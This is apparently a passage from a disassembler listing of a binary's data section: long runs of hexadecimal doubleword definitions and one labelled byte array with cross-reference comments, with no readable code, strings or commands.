		dd 860363C5h, 0BE0B3B3Ch, 0D1DDD00Dh, 0D4F400C7h, 0E2D3D86Fh
		dd 6900C280h, 0DBFAC391h, 2F2B1Ah, 0E518013Bh, 0A9B4129Eh
		dd 86786A05h, 8902AD85h, 43763D8Dh, 0DBF2E8F8h,	43930297h
		dd 671E7E3Ah, 5C9AC180h, 7972A1E1h, 0F476E000h,	0E31FAEA5h
		dd 0DE700089h, 37B48751h, 4F00640Bh, 1140D7CBh,	1354Ah
		dd 0A651EC88h, 0F50EBD18h, 0AB04B606h, 0FE1882C0h, 759C0039h
		dd 22D614FCh, 3C2428D9h, 6303E425h, 0C819F14Dh,	1276D8h
		dd 1B0B35Ch, 0B14F905h,	0CC909EF0h, 562F2A13h, 0B59CBC00h
		dd 7BCECAh, 1F8DEAB0h, 1FDDB73h, 11218F00h, 6A6D5329h
		dd 3EFACBh, 4C59977Bh, 277FECF5h, 2576577Bh, 0C8B0712h
		dd 51F47C01h, 0EE80C142h, 390F17BFh, 92074649h,	3313B072h
		dd 8C02760h, 0DABD1D4Bh, 0F721400Ah, 0D2898BA6h, 10227D07h
		dd 0A2704152h, 486426E3h, 0C047CC3h, 0D0FB7F83h, 3239AA44h
		dd 49954F00h, 0C7A53EBDh, 2CB10F51h, 83A71DDDh,	0D4BE7055h
		dd 0C100D8D5h, 6F5DA163h, 0FC9014ACh, 56FD0015h, 0CD22A28Fh
		dd 0D005168h, 42C623BEh, 1581B5h, 195785E5h, 0C3042B1Fh
		dd 864A7D00h, 2A937379h, 0A669038Ch, 0B7AC6A92h, 64020C88h
		dd 9600D9E2h, 97A78E16h, 791AB8h, 943ED6BFh, 0DFE72E18h
		dd 95F68600h, 9990E5DAh, 61A800A3h, 0D67582DCh,	0EFB85D8Ah
		dd 5A26D31Ch, 3D481200h, 37DB66h, 63DC9480h, 49F89304h
		dd 0F2C4A400h, 8BD5F68Eh, 32970584h, 85A8BE60h,	8CC0004Eh
		dd 3C660347h, 3E2CC05Ch, 80E939CEh, 1B061450h, 3E3B8D8h
		dd 7217B3DDh, 0E1F0C416h, 4300A7C7h, 0EF446BA0h, 1E35D373h
		dd 0C0FFE332h, 0DF256EE0h, 4503A52Fh, 0E6F92A44h, 8591E09Ah
		dd 32B7023Fh, 0D13A9BD5h, 74038C44h, 2690213Ch,	0E5B5E89Eh
		dd 440849E4h, 0E184007h, 4ADC51E8h, 3460F2CDh, 0FF798513h
		dd 0B003DFAh, 38EED220h, 3A0EA2Bh, 0E17CA50Fh, 64A0C83Eh
		dd 0E0181B0h, 0EDF2C651h, 9EE0D549h, 377A0057h,	0FFC72FA4h
		dd 0FC063246h, 4484DDE4h, 75CD0121h, 0E0E18A59h, 0D213E8E6h
		dd 0C9D8B7h, 9AF6C10Dh,	0CFD6E40Ah, 0C1E6790h, 5541209Dh
		dd 84A6937h, 0CA7D0C80h, 184862BDh, 1000457Eh, 0FFFEC0C7h
		dd 0A0C4Ah, 0B1C69E76h,	972F12E8h, 28179431h, 9BE48A5Bh
		dd 0CC37FBDh, 867FD8Eh,	70002C10h, 2E3CEB8h, 9FC72686h
		dd 0FD908360h, 0D930A09h, 0A1F40720h, 0CD87960h, 5F1D1612h
		dd 0DEB4237Bh, 92A75B80h, 77ACD001h, 0F08C84FEh, 3E942720h
		dd 3E0037A3h, 0B6F96BF4h, 730385A2h, 0E151FCEFh, 9C5AD8A5h
		dd 1D770034h, 6F6761B9h, 602B8AFh, 19DFF39h, 8E60E003h
		dd 0B6A800D7h, 869C6B7Ch, 27004128h, 6D4E7B99h,	64C81Bh
		dd 0A298936Ah, 952115A3h, 0CFF5DE00h, 0BD78AD7Ch, 4FE30041h
		dd 0AC9A7AD4h, 5200DF68h, 0F7A5296Fh, 727017E5h, 51F800FBh
		dd 2EA9A257h, 291F1EC9h, 2A40B726h, 0BB5E0E0Bh
		db 78h
byte_520045	db 3, 4, 8Ch		; DATA XREF: ___:00437A60o
					; ___:00437A78o
		dd 409DC837h, 90889BF2h, 0DD0103B5h, 80F4D214h,	5D474A18h
		dd 1A73A2A0h, 0A7005371h, 59CAF056h, 360FC4h, 27AD6C98h
		dd 85B17F71h, 0C001098h, 8A08774Fh, 0C7EFF7h, 0BCB3586Dh
		dd 49E9C2FFh, 0A1A7E00h, 849ACE88h, 9592003Dh, 562A86B7h
		dd 4E00DEA0h, 2959DA1Eh, 72B3A175h, 9FFA03E0h, 389B5511h
		dd 0DD609192h, 0DC0051F3h, 7B8D926Dh, 7A13C2h, 64620593h
		dd 49B67FAFh, 4B109400h, 779EA40Ch, 51D4003Fh, 0B9381106h
		dd 2008EB3h, 0B55405E6h, 0F3424Ah, 0DB5A274Fh, 11FB9544h
		dd 0A76DBF00h, 2D5455F7h, 2F010167h, 3602780Ah,	0CD1031C2h
		dd 56FC5076h, 9A005268h, 55349727h, 73D15EE8h, 43400038h
		dd 0E429A2B4h, 0BF1EC4B1h, 3F4B04CCh, 96860034h, 4F4A182h
		dd 0B85561Bh, 0F30A0C8h, 50515Dh, 2C1003C5h, 82D54Eh, 30845E26h
		dd 0E6734DA7h, 5CCF680Fh, 0C1DF4011h, 142740D8h, 93B41B56h
		dd 97511D00h, 0A4E52E3Ch, 9D200400h, 7BC0333Dh,	94B81FFBh
		dd 14214003h, 5EC38AE9h, 1FC71B00h, 0B1EB2D7Eh,	71C0F116h
		dd 0E61C07F8h, 0EFC58D9Eh, 4FE14462h, 6E53E860h, 1F549A00h
		dd 0EF678C05h, 48C0C065h, 0C1D7FE75h, 82CF0A00h, 88EA6C4Fh
		dd 631E00C8h, 0F35A538Fh, 0D60074D2h, 7BD371E9h, 732379h
		dd 0E236C547h, 0BD1CB5C7h, 0EFDE850Fh, 0DBEB12h, 13D3406Ch
		dd 9EE8B9FFh, 46114058h, 56E007C5h, 741F2B00h, 0D2C29FD4h
		dd 620901B2h, 0EF14E03h, 4BAC5001h, 0C9021258h,	600B8B5Fh
		dd 42B0601Eh, 48430028h, 0A6DC301Dh, 242C5B0Ah,	0AC00F8AFh
		dd 9AF53F71h, 87430CDAh, 2C18E684h, 54E04501h, 6CCA1455h
		dd 368720h, 9E8B58C3h, 527387B6h, 0F2BB1E00h, 0C64C5E30h
		dd 59E80060h, 421AF17Eh, 0CF00F4D4h, 2EB3DA37h,	3511F65h
		dd 9DBDCB45h, 0C8805E90h, 0E849F087h, 247A003Ch, 7ED4C149h
		dd 64760FCEh, 0EEA0481Eh, 70C29A72h, 0FA65F401h, 0EFD3F122h
		dd 0A0C053E1h, 0C7ED3DF8h, 0BA00C8D5h, 1651C88Bh, 1B51CC0h
		dd 3995744Ch, 5C3822h, 0BD90EA7h, 0E66D508Fh, 6F2400BAh
		dd 7F5EDC68h, 9D09F0AEh, 43EF15h, 13EB9628h, 878051Ch
		dd 0D0675410h, 38CDE498h, 0E6C69200h, 6190D607h, 0F6B90F79h
		dd 51C3F866h, 7BF18BCBh, 0D1C0F6FEh, 0E8C4C1ECh, 0ACC88866h
		dd 0C64A03BDh, 939DF359h, 5F05A1F8h, 80626F3Bh,	8EA8F07Bh
		dd 9C653D94h, 0C88898C0h, 0C026B581h, 803C6451h, 87B36D8Ah
		dd 6E62CFFh, 4F9B653Ch,	0B20021D5h, 0E340B039h,	0EE441B8h
		dd 61EF634h, 98F3EDE0h,	0D5FA1257h, 0FD63EE01h,	0D47765C5h
		dd 941C20h, 0BD4F9E41h,	5BA02AA3h, 0E08B5Ch, 35074BEh
		dd 359F74Ch, 84C04607h,	60CBA7B3h, 8A9ED000h, 0C73F1C35h
		dd 39B5EA06h, 640091F2h, 14A9BE13h, 15001B21h, 6A2C7184h
		dd 5019C8h, 65AE579Ch, 0FA31A70Dh, 3CC51409h, 8B1E80B7h
		dd 1CCE6B3h, 0ECD3B643h, 0FD5C48F8h, 0BAA6C04Ah, 0C40CEA14h
		dd 4D5E00B0h, 0E30FFD25h, 28EB0015h, 0BA4C946Bh, 14E401E7h
		dd 36913101h, 9B8FB52Eh, 50411F8h, 93CF2464h, 3630A0AEh
		dd 4CD463Fh, 0AA58D415h, 42102480h, 5E200F5h, 0D99678B0h
		dd 8B4CF376h, 10DBB098h, 0D6080058h, 0B240A971h, 2600E2E3h
		dd 12801ECEh, 0CDBD34h,	43ADF258h, 0E70C9161h, 0ECC9A571h
		dd 12B4CE59h, 0C67F1Fh,	0A47AA5CCh, 0C160246Bh,	5927CC10h
		dd 0D4FF0089h, 0B50AC3D1h, 93481505h, 231D0F54h, 0CF2D4750h
		dd 90C7BD03h, 0E0B86DAFh, 916C2414h, 0E8590061h, 0FE7A021Eh
		dd 58114100h, 35B0893Fh, 187E073Ch, 40F647BAh, 4FA8C0D6h
		dd 8856DE05h, 98C07704h, 0F08E5C38h, 57A300BFh,	0D3504FB1h
		dd 9A0795FCh, 679FB5F7h, 153074C0h, 847A58AEh, 0B38C0300h
		dd 7E1BCDDDh, 80C8693Ch, 35ADBD16h, 0FDAE92h, 8FA456EBh
		dd 0B0DC7B75h, 0BFC73100h, 6660D0ECh, 2FD20435h, 90CFB679h
		dd 0BBCC5D8Ch, 0F8B87A00h, 895FFA54h, 0D13300BAh, 4B8E68FCh
		dd 291FE48Bh, 9A0577D5h, 38D495DDh, 23E80FAh, 79282D72h
		dd 0D91EC16Bh, 9D47ABADh, 73EF7388h, 4CFCC0D8h,	0AA84288Fh
		dd 563FC3E5h, 650836A8h, 60005C71h, 59C9ACD5h, 396F87Fh
		dd 17CEF5E0h, 1588227Dh, 0AAEC190Bh, 1E04C200h,	94CC71F7h
		dd 184800E4h, 86EB1AB4h, 0F00DE8Ch, 0C179CA53h,	3A1C45FAh
		dd 7F033E5Dh, 0CB4AF4C0h, 22E492E0h, 4D163500h,	2C93041Ch
		dd 2388005Ah, 0B436DDBFh, 227EF55Fh, 87240600h,	0EDF7F825h
		dd 8C9D0096h, 0BFEE6510h, 2300DF70h, 1522FAFh, 5056EFh
		dd 9E18DB84h, 108A866Ah, 0BDC6250Bh, 198848EAh,	3F321649h
		dd 0E558C0C3h, 220017D3h, 0A86AB10Ah, 0C2D8EBh,	66ACF520h
		dd 1B25BBBCh, 0B4F4EF00h, 11BE94FEh, 0B230018h,	0BBB2689Bh
		dd 7002CEDh, 0C3679E81h, 0FEAFE3F0h, 4361C0BFh,	0BE39FA89h
		dd 81E0471h, 280049DFh,	0EB7B3027h, 0BC607843h,	0F3E50178h
		dd 8783EDCCh, 2BB3E420h, 0F551289Ah, 0F7F85E71h, 3F5FE8DCh
		dd 17AE354h, 0DA253B4Eh, 74598CCFh, 0DE005D60h,	0AD58E030h
		dd 989A38BFh, 5A440313h, 1BDF287Bh, 0E4309041h,	81B42DAh
		dd 0E48BD3Ah, 12462A68h, 0BA4E7A00h, 7400141Bh,	2B3E6637h
		dd 2DA553Ch, 938E3959h,	5484CCC9h, 3A7408AEh, 6001D43Ah
		dd 0CF209FF7h, 89C05009h, 9100597Fh, 9B7CDE30h,	0E49229AFh
		dd 0A6A300CBh, 8A443798h, 0E100F401h, 0B1F4A67h, 153ACCCh
		dd 6CF59C0h, 0F8DFBEA3h, 0AD00CBCDh, 0A595B75Ch, 3BE24Fh
		dd 0CAB60A51h, 0A9CFEE78h, 0BD313600h, 0C9AAC60Bh, 9BC00052h
		dd 0CA902BFFh, 60015C7h, 0BCB11AAFh, 1C1EE5Eh, 68E30470h
		dd 0D0DD4540h, 1901814Bh, 0F99CF4C6h, 1FD17E52h, 0FD359F8h
		dd 7A57A8C8h, 184A5FC0h, 247F3AAFh, 88E0504Fh, 0B46E009Bh
		dd 42907B34h, 0A9006D8Ch, 40C02DBDh, 0F32AFE9h,	1FCD22E3h
		dd 342F0C00h, 860C212Eh, 31378B8Dh, 0AE5F00B7h,	0C283B666h
		dd 42007A3Bh, 5822C8F2h, 0E066F32h, 9996D364h, 8E2385C0h
		dd 0AA1B690Fh, 0A040FA4Ch, 3A2CD68Ch, 0B001AE5Eh, 1B333CD1h
		dd 28488056h, 0DCD9C57Ch, 0F66C19FEh, 0E86D302Ch, 0BE05D8ABh
		dd 2D0F71CBh, 33F90281h, 9D3AE0E7h, 7CF317Ah, 80491359h
		dd 0F1D12969h, 0BCEDE7h, 967FA867h, 3E55EAABh, 6CD15360h
		dd 2E2835h, 0E18E4386h,	0C2A448DAh, 6800F67Ah, 81896A24h
		dd 37566BADh, 2691BBE2h, 660041AEh, 5ECCA390h, 1401A6h
		dd 10A5F52Ah, 0F8CE83E3h, 0B59D6B00h, 54D3B97h,	26E65C91h
		dd 7234AD00h, 217689A3h, 0F004CE76h, 0F7A13526h, 5BAA16C0h
		dd 1ED63DF2h, 0B9DF4300h, 7E72DC4Dh, 27A72500h,	53026C19h
		dd 7F17E84Ch, 6F97008Eh, 1F545B07h, 0FF06D39h, 0AFCE1C1Dh
		dd 36C2F7C0h, 80A2E1h, 472ECA25h, 0A18BFC57h, 77012D98h
		dd 4CCDE5E3h, 0A570F537h, 0D8000AFh, 0EE50D051h, 0FB00B12Eh
		dd 56BA5711h, 6930FEh, 0A97CECCBh, 4D810DC5h, 0BFEBD239h
		dd 771E8037h, 0AE3BF7B5h, 2B45072Fh, 2002E315h,	0E24DCDC7h
		dd 2E1FAFECh, 0A0450E80h, 1681431Fh, 99FCB3EBh,	4C4A0095h
		dd 23205FC8h, 3503042Fh, 651609EDh, 0E028A6DFh,	86C899Ch
		dd 694244A6h, 4453A844h, 0E4841095h, 416D8941h,	12079E28h
		dd 47E010F4h, 14413189h, 9812ACF8h, 893A1910h, 0AFDD0935h
		dd 115B3C11h, 0F9131B71h, 0AD244C4h, 0B19D6048h, 0B045C680h
		dd 37E80Eh
		dd 0EAC74D06h, 5FC01612h, 0DC0A3E00h, 0BFCED45Bh, 238A3E56h
		dd 2984B400h, 219C67DEh, 8FFFD600h, 3B391018h, 0BFC00004h
		dd 12A5A1B8h, 86B89B89h, 7A7C4126h, 3280931Fh, 0A3CD1D07h
		dd 0DBF60179h, 44732D63h, 22A02A65h, 0C8E22C86h, 0C2BA00FAh
		dd 3AC97237h, 0B268700h, 55D0FE97h, 5BF10310h, 0AE2FAA4Fh
		dd 5085DCh, 9158292Bh, 52008C3Ah, 0D8E8F03Ch, 0EAEB185h
		dd 8192DBDEh, 69A52B41h, 0C497C824h, 15028471h,	93BEB03h
		dd 0AA58839Eh, 0CC308034h, 754500D1h, 100F1BBFh, 60029F4h
		dd 11C09DF6h, 3C49DDA2h, 30033CCDh, 4DA97986h, 5FAED098h
		dd 20037A1Fh, 46022380h, 18B84D4h, 0C19C33A7h, 0CCD662DDh
		dd 1C029152h, 3BADD856h, 3100FDE0h, 38E74DBDh, 2104B800h
		dd 0A0EDECC5h, 0C81600A5h, 63A7CC5Ah, 1505A195h, 0CE380D8Fh
		dd 0D48A24C0h, 903EC024h, 596E916Ah, 790036ECh,	7B113470h
		dd 0E04C096h, 9B5CBB42h, 128ED360h, 1C00B873h, 0F015F870h
		dd 0B7C663h, 0C50872E3h, 0CCBC961Bh, 668C6F00h,	0E84FB9B2h
		dd 416D00F4h, 19C312D7h, 0BD1C25DCh, 0BAC09A2Ah, 66B9A167h
		dd 64800ACh, 70C324D3h,	840012D6h, 6E1ECA01h, 7EF0ED10h
		dd 0F3580A6Ch, 0C0FB2Eh, 0FD91448Ah, 670046DEh,	7E4B4514h
		dd 18424009h, 941107Bh,	0F9002E77h, 1DA34818h, 7A023Eh
		dd 856529EFh, 825C4B03h, 1C20C503h, 0DF6E4376h,	0D448B1F0h
		dd 5EE13ABDh, 8CDA1409h, 0A95A9680h, 3900D504h,	43A3FCB6h
		dd 1EA686E9h, 9DD96E16h, 0E85F3Ch, 0F9269083h, 2B5011BDh
		dd 46484D80h, 339F000Ch, 0C439A47Ah, 12550035h,	76ED5498h
		dd 0CA12DD4Ah, 1800135Ah, 1E6C2C8Eh, 10F055h, 2163939Eh
		dd 0B872F25Ch, 5FBC4E00h, 56479165h, 84C60A01h,	8CF13Fh
		dd 0B16E6F23h, 1900C1BEh, 0A1F4809Fh, 81562Fh, 25D5F25Fh
		dd 4439F615h, 0FE002976h, 0EAF847B2h, 77029F01h, 0F1AE006Eh
		dd 9D3669A6h, 0FD129CB0h, 0AC0AD0D8h, 0A907B245h, 0CCD33150h
		dd 0C2F8A09Fh, 0F77776h, 879DAC77h, 9635450Ch, 0FD4F6D01h
		dd 7F78F582h, 9EBA8040h, 1764005Ch, 7468DFFh, 87055344h
		dd 5F914CA7h, 3804EE80h, 0E780037Bh, 2A1D09A3h,	1F3051A0h
		dd 5768E10Fh, 77492742h, 43549A82h, 33F3C998h, 0D56E0h
		dd 850AD7Eh, 7B5959Bh, 0B496CA03h, 0F012D0E3h, 3A9954B7h
		dd 9B00E448h, 0B34ADA4Eh, 8070256h, 0A8CB3B07h,	45E2D530h
		dd 819D3013h, 0B9B46990h, 0BCACFC50h, 0B7B67100h, 9AC910D0h
		dd 50E7767Ch, 26EA84A5h, 195C7DC0h, 20C5B03Ah, 80005141h
		dd 0FDFBF64Dh, 12D9D98h, 427704A6h, 704819CDh, 5100AE19h
		dd 3B4BD546h, 147E307h,	74E6AC55h, 0F88CEBA1h, 10007344h
		dd 2B6B5B4Dh, 1476E880h, 0AC5FA722h, 78D51500h,	0CC37A291h
		dd 0AB0003F8h, 0EFFC5DF0h, 2712D9h, 0B913D34Dh,	3FE9D56Fh
		dd 92F0D273h, 0FEC541Ch, 53F08140h, 395DE0h, 0DDF11F12h
		dd 137CDFA3h, 68FE9903h, 0E0DC2FC9h, 5EB9133h, 0F24489E8h
		dd 4965804Ch, 1D009F14h, 82F4D25h, 339ACB6h, 0D38ECD71h
		dd 6E805E20h, 6DFA5A9Dh, 0DF87F10Eh, 0C940BFE5h, 0FDFAA52Ah
		dd 8A093AA1h, 0D023C180h, 47F34A8Eh, 78494400h,	67B25CD1h
		dd 52D2057Ch, 806A41AAh, 2F64F3CCh, 0AB01F800h,	6007F919h
		dd 0A3FE7016h, 0CD090008h, 0F3E53DCEh, 31F998Bh, 0E7804DF5h
		dd 0E850EA01h, 0FAE600F9h, 0E3F35631h, 363C85DFh, 0F4D2DCh
		dd 9D2B07A0h, 38EF35B3h, 1D009155h, 47F5C702h, 38900FF7h
		dd 0E8D73C1Eh, 48875F00h, 0C1072Fh, 361B9980h, 356AD425h
		dd 1DF3BE00h, 59B488A1h, 0A9170094h, 0E70D6162h, 1A0068F9h
		dd 0CFA40FE5h, 131CD28Fh, 3DDB2FBh, 1D88D18Ch, 76F31000h
		dd 93911849h, 0E6D40A03h, 884A97h, 5137FF14h, 6A39AF24h
		dd 17801DF4h, 20914149h, 0EE20BFE0h, 0A6F50364h, 5E02525Dh
		dd 0BA086CE0h, 0EB8014B1h, 0DF517886h, 94045821h, 0E92F300h
		dd 0CF6D953Eh, 5BF78C1Fh, 4B3BFE40h, 6FD011Ah, 0D2B016C8h
		dd 0A300D0BCh, 8478942Fh, 1F6B9DF5h, 7C980F80h,	0CDDDE780h
		dd 26AB64ECh, 0F3F9DB06h, 0C06999h, 0F1AF7C15h,	1DFD12A2h
		dd 1A048100h, 798268CDh, 958458BFh, 83E64A00h, 9FFE2F4Fh
		dd 0FB5BDB07h, 0F730C148h, 1265A52h, 0FA731E69h, 0F4A17A65h
		dd 9601C52Fh, 0FD41B99Eh, 613077DAh, 0FFCD009Ah, 82F7873Fh
		dd 53EC261Ch, 9300D998h, 0A931B2FDh, 2E6457h, 486145B9h
		dd 127B6CDBh, 0D8960B1Dh, 1AE81B80h, 3ADC860h, 51560EBEh
		dd 181C6D33h, 3924474Bh, 0F6086A00h, 7F02E4Dh, 0A130DE56h
		dd 0E38AB0A0h, 443F5DE7h, 0B4C72804h, 0CE2402C0h, 0E4D461Eh
		dd 0D32AE2Ch, 4A9C0F80h, 0B9A1AA25h, 5E622008h,	0F6E5370Fh
		dd 0F0DD60A3h, 8FA4C1h,	69F3C25Fh, 32DF4D5Ch, 9ACC09C0h
		dd 3BD7A642h, 0DD80CD57h, 49B8279Dh, 0B3001389h, 0C5D69CECh
		dd 0FFB8EF5h, 0A0864C05h, 897E5580h, 7700F35Dh,	3438206Fh
		dd 2C3F3E03h, 7A7682Bh,	0C09E1FDDh, 6E1B58B3h, 5AFD0F07h
		dd 0A227E04Ah, 0EB459580h, 0E73801FBh, 2896A412h, 7F16005h
		dd 99BD1700h, 7D7EE6C4h, 4C0626D2h, 623700BBh, 1EC091B0h
		dd 0B14AC30Ch, 7AF38E6h, 7A236D0Fh, 7CA0C0F6h, 0F914D608h
		dd 978B8Ah, 97CE9679h, 0CA0466h, 0BDFC20FFh, 19506F32h
		dd 7E318600h, 0D25B532Dh, 3B9F00DFh, 1C73D1DAh,	0DB00872Eh
		dd 7AF676BCh, 0F484BBh,	5979A83Ch, 0F080A723h, 0DCA37800h
		dd 857D82ECh, 1B43E5Dh,	0C6524F00h, 0DE1A3719h,	61507100h
		dd 1FE9F3C4h, 0B89CE1EBh, 9870806Dh, 48F1A3EFh,	4D850500h
		dd 3A1D129Ah, 0CBC800D4h, 0AB29634Fh, 24067217h, 360D934Bh
		dd 9FE40098h, 0A2404E84h, 9A1DD4BBh, 9DC0F351h,	0E4128D3h
		dd 0F61D000Dh, 3FC8E39Fh, 550F4AB7h, 80294E7Ah,	54603DE0h
		dd 5CAF009Ah, 0F10A0B3Eh, 0B17480E4h, 7F868C1Fh, 53EABDEh
		dd 0AD504515h, 0CBD6C407h, 64D39410h, 62E231h, 2F24C25Dh
		dd 7832429Bh, 0E0813Ah,	0D92C114Dh, 707F30h, 67DAC3Ah
		dd 0F21A7B82h, 1007B200h, 2C6DF36Eh, 46A70C76h,	43DA5DF6h
		dd 8777CD02h, 60B0735Eh, 36A5CBCh, 0AF46EDDDh, 18EDC4E0h
		dd 2E980908h, 86E158h, 626EE00Bh, 1ACEE9h, 71BA355Dh, 7FB4A645h
		dd 1D22100h, 0C616ED69h, 0E98F458h, 15DF937Bh, 0D0E90092h
		dd 35E96159h, 1B3B2C1Fh, 25745780h, 1E20A1ECh, 0C98D3734h
		dd 7400DEFDh, 9F8F4409h, 0DA1C2100h, 5CBBA92Eh,	6DC6074Bh
		dd 0AB3A193Eh, 0C92D2402h, 83698A80h, 9F0113A0h, 400D1B4Bh
		dd 2970C4FDh, 3027338h,	4D4437Eh, 6E85664h, 0B6705FA1h
		dd 0B5FADAB0h, 2D345500h, 675AACF8h, 70AE488Dh,	0F194CF00h
		dd 0BC6BEBD0h, 44860F3h, 3A952600h, 8DFEF811h, 80E54909h
		dd 0BE3084h, 1898BBE2h,	67CE1DB6h, 43754CDEh, 28009DB8h
		dd 2A7A701Ch, 883E22h, 0B1790713h, 0B0E60A31h, 5EE83D50h
		dd 9509E707h, 47C02B8Ch, 1DB1B98Eh, 4F719640h, 9A607E97h
		dd 944F1AA3h, 804D8A00h, 2A20FAB2h, 0B6EC17h, 0A58C0336h
		dd 0EEB5E8A6h, 8746C48h, 419150h, 7483B04Dh, 8D26CA58h
		dd 0B051C7Eh, 9C1C1447h, 69072700h, 7D11E58Ch, 8EEE0465h
		dd 81A6FD08h, 0DCAF2058h, 0A203B25Fh, 59736596h, 0CB4DD048h
		dd 0C1FB0088h, 0E10E3E62h, 0F502723Bh, 8DF082CFh, 46604094h
		dd 27DA009Bh
		dd 0E044ED3Dh, 0B2016C7Bh, 11BF35CAh, 18316947h, 7D1490EFh
		dd 0A5238022h, 42EECE13h, 0D0240C40h, 9CBF1D1h,	40E8D8CFh
		dd 6AA4A000h, 51FDD65h,	5702B9BCh, 64DABBFAh, 495800D4h
		dd 17924BDBh, 189802C3h, 7520550Fh, 0F80320C6h,	1F9D30F0h
		dd 0C01C222Fh, 98874189h, 0C0FAA94Dh, 0A1FC4500h, 0B5846A56h
		dd 7249FAB9h, 0F44490CEh, 0DBE60075h, 5E194D62h, 50001FC8h
		dd 310BB957h, 3880F827h, 0C6001665h, 0C710B237h, 80ED694Eh
		dd 4C9DBCE0h, 0A4241Eh,	56DA7EE5h, 5A0A983Ah, 40A1C52Ch
		dd 7B100403h, 22400066h, 7DF2ABBDh, 300039DFh, 32C8423Ch
		dd 0FD94F1Ch, 9B5A4A1h,	1800A9EBh, 5A9DF650h, 2346DF00h
		dd 8FCDDC0Fh, 57BB0743h, 0A0FFCBAFh, 0FCE5F36Bh, 64C15A00h
		dd 0DF95CAA2h, 4E731330h, 8D240041h, 7CF14D65h,	0AF49781h
		dd 0BDA20095h, 0A69C9324h, 9F515A23h, 0DE098308h, 90A49899h
		dd 52C412h, 4A326795h, 0B52EC981h, 0E8CA6901h, 6A7255Ch
		dd 206A2430h, 95006779h, 7A44D07Ch, 0EB25C09h, 45E98642h
		dd 76126E41h, 8CDCEC65h, 0FC474A00h, 3A0AA4CBh,	0A0710074h
		dd 347DCE2Dh, 71EE2ADh,	0FFF260h, 9E8D3B67h, 5F0706Fh
		dd 62EB8CCh, 212C81FFh,	93B44796h, 20831C14h, 0B724E800h
		dd 0A8285B94h, 1989073h, 0D2FF5661h, 50B810C1h,	86177EC8h
		dd 0C7EE3B03h, 0E80A0C48h, 32FDD02h, 4046BCE8h,	0EBE07714h
		dd 3C006672h, 1D30CFABh, 7254BB6h, 1732FBFCh, 0C0004F15h
		dd 0C1D7F6A6h, 5EC3A902h, 0C02704B6h, 0D429B8h,	9E288423h
		dd 0DB30226Dh, 0CF858h,	3C12C88Ah, 0B1555Ch, 0F47D7672h
		dd 0FC49DCE9h, 6AF21401h, 0CAB6D582h, 0A4C3D8h,	236BF694h
		dd 63CE6874h, 0B28D3A15h, 0FC710380h, 0A075C4EFh, 0F0DBCAC5h
		dd 0D8CD00EAh, 3D2EDE3h, 1E01DA01h, 1F6E3BA9h, 71D0CF70h
		dd 0A057E2E2h, 7B609AE9h, 1DEB038Ch, 7FD48ECEh,	0DA04DC3h
		dd 2A002175h, 5FE8A8C5h, 4A78EDh, 427CF4A6h, 5850EDBh
		dd 49287300h, 0DE4C1EC8h, 0A14F01D0h, 8F8DE472h, 63B820CAh
		dd 25901B98h, 8108BC3Fh, 279A8B92h, 0DC40D65Eh,	24584037h
		dd 1B039D9h, 0E25474Bh,	0F7B07088h, 85A8DD1Fh, 0ADB2D0C0h
		dd 4BAE0D2h, 0CA715884h, 738CD04Dh, 0DA00A6F4h,	0C0B0E9D6h
		dd 28286E22h, 95BC2140h, 0BC0014E2h, 0B18F165Fh, 0A52C1506h
		dd 3A012A7h, 34BA3976h,	91138AACh, 0D0440A36h, 1C907209h
		dd 3154450h, 39A924C1h,	9AE83C9Dh, 2B09A063h, 826FB2BEh
		dd 0E3401B0Ch, 0E3990C30h, 1E2E26C1h, 87BC7F39h, 5C8FFEAFh
		dd 0F07ABD83h, 1D7FA86h, 0A4A8A770h, 0CC4DC472h, 163D7119h
		dd 8EC98178h, 313568B0h, 7E8F830h, 0B337A3AEh, 0C0DF85D8h
		dd 0FC36EDF7h, 7200C890h, 85182443h, 3E0F64ECh,	0FA096612h
		dd 0AF806289h, 3170AFADh, 0EC199500h, 0EF37C7F3h, 2D2500B3h
		dd 4CCA84B0h, 6B00E5F5h, 0D5152783h, 7EDB7058h,	19574ECh
		dd 0F5698E2Bh, 0C8D1C024h, 0DBB855ACh, 3CD53600h, 4759494Eh
		dd 58ED7597h, 400B075h,	8B1500Fh, 7D28A7BEh, 9500B0A3h
		dd 4D3ABA26h, 331020h, 3110F4Eh, 2F1C0CD9h, 7C09DA60h
		dd 0E41316C7h, 0FC1D01AAh, 0E57EB0C4h, 0E46AFCC0h, 25AB1B19h
		dd 5ECF0B2h, 0BD36004Ch, 6FA9A543h, 170E40E6h, 0A0A22EB9h
		dd 29EE0354h, 398E0082h, 5AEEA10h, 7E26983Dh, 5E85B857h
		dd 0C0801996h, 803A1FA8h, 170EED45h, 603D7FD1h,	0FDD258B0h
		dd 0E1F00073h, 7E0AF6F7h, 5D38BEF1h, 0C6DF0028h, 24D28149h
		dd 1EFD001Fh, 89F0ED6Ch, 0D8B8604Dh, 0AB660100h, 8D22877h
		dd 56A9011Ah, 8DE9F812h, 9889E802h, 80DF7038h, 356C0469h
		dd 7094C19h, 63C99CE4h,	5D989C42h, 0D419D09h, 6A50207Dh
		dd 90C4DD16h, 303803D9h, 243EB6BCh, 0C0E8418Ah,	0F10EC80Fh
		dd 0C0AB6433h, 0C75AA274h, 0FD92001Fh, 0DAF77248h, 0A4A0A659h
		dd 0ECA02099h, 4B07B89Bh, 2D6C9749h, 197EB130h,	709E0FF4h
		dd 906559C1h, 0D3D4C098h, 0ED005E74h, 2FF36DACh, 7E471A53h
		dd 0F4F700C0h, 0C4CA85E4h, 4E30CB18h, 0EFEA9074h, 0A6AB0361h
		dd 4568242Eh, 357BC80Fh, 6ABAA0EBh, 0B0A086Bh, 0ECDFF9B7h
		dd 0F006EE81h, 0E1FFF84Dh, 6E306D00h, 881867FEh, 0F8E49828h
		dd 76417CA2h, 0CCDA2C69h, 0F95E009Dh, 164431D0h, 0E8AA3700h
		dd 0AE87457Dh, 0F68407C9h, 0A247D613h, 98442DDEh, 0C44C4900h
		dd 1B0CA5E8h, 74A6256Fh, 0E72AF002h, 90E49880h,	0F5096A63h
		dd 84C44B99h, 84800BD4h, 9A4D66A8h, 3E7F7EF0h, 6080CB2Fh
		dd 67EA6EC3h, 8C0296F6h, 3CED72C7h, 0E94C40D9h,	0E042000Ah
		dd 0DE1FB99Dh, 7B070DD2h, 99DF7293h, 0EC4CA0C9h, 0C46A33Ch
		dd 97DC39A1h, 0D5FEC288h, 0B4D69D00h, 0AB06F955h, 0FFD20AA4h
		dd 8C478Fh, 0B1AF0F7Dh,	3E00578Eh, 0A3C4B5F9h, 203BDF5h
		dd 0AD55ED60h, 0E2753439h, 78A44010h, 84800357h, 24315961h
